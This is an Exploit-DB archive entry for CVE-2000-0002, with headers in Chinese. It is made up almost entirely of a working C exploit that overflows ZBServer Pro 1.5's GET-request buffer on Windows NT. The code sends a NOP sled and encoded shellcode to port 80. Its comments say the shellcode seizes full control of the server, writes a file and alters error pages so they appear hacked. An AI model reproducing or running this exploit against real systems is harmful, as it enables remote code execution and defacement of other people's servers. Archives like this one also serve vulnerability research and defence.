标题: ZBServer Pro 1.5 - Remote Buffer Overflow (2) EDB-ID: 19689 CVE: 2000-0002 类型: REMOTE 平台: WINDOWS 发布日期: 1999-12-23 漏洞利用脚本: // source: https://www.securityfocus.com/bid/889/info
 
ZBSoft ZBServer Pro is an Internet and Intranet server that supports HTTP, Gopher, FTP and Chat Services. ZBServer is available for Microsoft Windows operating systems.
 
ZBServer Pro 1.5 has an unchecked buffer in the code that handles GET requests. This weakness allows for the execution of arbitrary code. 

/** slzbserv.c - local/remote exploit for ZBServer PRO 1.50-r1x (WinNT)
 **
 ** ZBServer PRO 1.50-r1x exploit gets remote servers's full control.
 ** When you attacks a vulnerable server you can run abitrary code
 ** inside. Firstly, sploit creates an advisory file. It's information
 ** for administrative use. Later, exploit restores and kills
 ** overflowed thread but before it patchs some error information so
 ** all error pages will appear like hacked pages.
 **
 ** Compile on Debian with kernel 2.2.12: gcc -o  slzbserv slzbserv.c
 ** run: ./slzbserv hostname
 **
 ** http://mareasvivas.cjb.net / http://www.deepzone.org
 **
 ** Coded by |Zan | izan@galaxycorp.com
 **
 **/


#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/errno.h>
#include <netdb.h>

#define _PORT   80
#define _TamBuf 770

char crash[] = 
"GET /"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x81\xc7\xc8\x10\x10\x10\x81\xef\x10"
"\x10\x10\x10\x57\x5e\x33\xc0\x66\xb8\x31\x02\x90\x90\x50"
"\x59\xac\x34\x99\xaa\xe2\xfa\x71\x99\x99\x99\x99\xc4\x18"
"\x74\xb1\x89\xd9\x99\xf3\x99\xf1\x19\x99\x99\x99\xf3\x9b"
"\xf3\x99\xf3\x99\xf1\x99\x99\x99\xd9\x14\x2c\xac\x8b\xd9"
"\x99\xcf\xf1\x19\x02\xd4\x99\xc3\x66\x8b\xc9\xc2\xf3\x99"
"\x14\x24\x3a\x89\xd9\x99\xaa\x59\x32\x14\x2c\x3a\x89\xd9"
"\x99\xcf\xf1\xd3\x98\x99\x99\x09\x14\x2c\x72\x89\xd9\x99"
"\xcf\xca\xf1\x49\x05\xd4\x99\xc3\x66\x8b\xca\xf1\x05\x02"
"\xd4\x99\xc3\x66\x8b\xf1\xa9\xd4\xde\x99\xc6\x14\x2c\x3e"
"\x89\xd9\x99\xf3\xdd\x09\x09\x09\x09\xc0\x35\x33\x7b\x65"
"\xf3\x99\x23\x31\x02\xd4\x99\x66\x8b\x99\x99\x99\x99\xca"
"\xfc\xeb\xef\xfc\xeb\xb9\xf1\xf8\xfa\xf2\xfc\xfd\xb7\xa5"
"\xb6\xf1\xab\xa7\xf1\xed\xed\xe9\xa3\xb6\xb6\xee\xee\xee"
"\xb7\xfd\xfc\xfc\xe9\xe3\xf6\xf7\xfc\xb7\xf6\xeb\xfe\xb9"
"\xb9\xca\xe9\xf5\xf6\xf0\xed\xb9\xfa\xf6\xfd\xfc\xfd\xb9"
"\xfb\xe0\xb9\xe5\xc3\xf8\xf7\xb9\xe4\xa3\xb0\xa5\xf1\xed"
"\xf4\xf5\xa7\xa5\xf1\xfc\xf8\xfd\xa7\xa5\xed\xf0\xed\xf5"
"\xfc\xa7\xca\xfc\xeb\xef\xfc\xeb\xb9\xf1\xf8\xfa\xf2\xfc"
"\xfd\xb7\xa5\xb6\xed\xf0\xed\xf5\xfc\xa7\xa5\xb6\xf1\xfc"
"\xf8\xfd\xa7\xa5\xfb\xf6\xfd\xe0\xa7\xa5\xfa\xfc\xf7\xed"
"\xfc\xeb\xa7\xd1\xfc\xf5\xf5\xf6\xb7\xb9\xc0\xf6\xec\xb9"
"\xf8\xeb\xfc\xb9\xeb\xec\xf7\xf7\xf0\xf7\xfe\xb9\xf8\xb9"
"\xc3\xdb\xca\xfc\xeb\xef\xfc\xeb\xb9\xc9\xcb\xd6\xea\xb9"
"\xfb\xec\xfe\xfe\xe0\xb9\xef\xfc\xeb\xea\xf0\xf6\xf7\xb9"
"\xf8\xf7\xfd\xb9\xe0\xf6\xec\xb9\xf1\xf8\xef\xfc\xb9\xfb"
"\xfc\xfc\xf7\xb9\xf8\xfb\xec\xea\xfc\xfd\xb7\xa5\xe9\xa7"
"\xd4\xf6\xeb\xfc\xb9\xf0\xf7\xff\xf6\xeb\xf4\xf8\xed\xf0"
"\xf6\xf7\xb9\xfa\xf8\xf7\xb9\xfb\xfc\xb9\xfd\xf6\xee\xf7"
"\xf5\xf6\xf8\xfd\xb9\xff\xeb\xf6\xf4\xb9\xf1\xed\xed\xe9"
"\xa3\xb6\xb6\xee\xee\xee\xb7\xfd\xfc\xfc\xe9\xe3\xf6\xf7"
"\xfc\xb7\xf6\xeb\xfe\xb9\xf6\xeb\xb9\xf1\xed\xed\xe9\xa3"
"\xb6\xb6\xf4\xf8\xeb\xfc\xf8\xea\xef\xf0\xef\xf8\xea\xb7"
"\xfa\xf3\xfb\xb7\xf7\xfc\xed\xa5\xe9\xa7\xeb\xfc\xfe\xf8"
"\xeb\xfd\xea\xb9\xed\xf6\xb9\xdd\xfc\xfc\xe9\xc3\xf6\xf7"
"\xfc\xb9\xfa\xeb\xfc\xee\xb9\xb1\xcd\xf1\xfc\xce\xf0\xe3"
"\xf8\xeb\xfd\xb5\xb9\xd8\xf7\xec\xea\xf2\xf8\xb9\xf8\xf7"
"\xfd\xb9\xd7\xfc\xf4\xf6\xb0\xa5\xe9\xa7\xda\xf6\xfd\xfc"
"\xfd\xb9\xfb\xe0\xb9\xe5\xc3\xf8\xf7\xb7\xa5\xb6\xfa\xfc"
"\xf7\xed\xfc\xeb\xa7\xa5\xb6\xfb\xf6\xfd\xe0\xa7\xa5\xb6"
"\xf1\xed\xf4\xf5\xa7\xb7\xc5\xf1\xed\xf4\xf5\xc5\xca\xfc"
"\xeb\xef\xfc\xeb\xd8\xfb\xec\xea\xfc\xfd\xfb\xe0\xf0\xc3"
"\xf8\xf7\xb7\xf1\xed\xf4\xf5\x99\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\xac\xe0\xe3\x01";


int     sock;
struct  sockaddr_in sock_a;
struct  hostent *host;

int main (int argc, char *argv[]) {

 printf("\nWinNT 4.0 sp5 ZBServer PRO 1.50-r1x exploit\n");
 printf("http://mareasvivas.cjb.net - http://www.deepzone.org\n\n");
 printf("Coded by -=[ |Zan ]=-  izan@galaxycorp.com - izan@deepzone.org\n\n");

 if(argc < 2) {
   fprintf(stderr, "Error : Usage: %s <hostname> \n", argv[0]);
   exit(0);
  }


 if((host=(struct hostent *)gethostbyname(argv[1])) == NULL) {
    perror("gethostbyname");
    exit(-1);
  }

 if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
    perror("create socket");
    exit(-1);
  }

 sock_a.sin_family=AF_INET;
 sock_a.sin_port=htons(_PORT);
 memcpy((char *)&sock_a.sin_addr,(char *)host->h_addr,host->h_length);
 if(connect(sock,(struct sockaddr *)&sock_a,sizeof(sock_a))!=0) {
    perror("create connect");
    exit(-1);
  }

  fflush(stdout);

  write(sock,crash,_TamBuf);
  write(sock,"\n\n", 2);
  printf("done.\n\n");

} URL: https://www.exploit-db.com/exploits/19689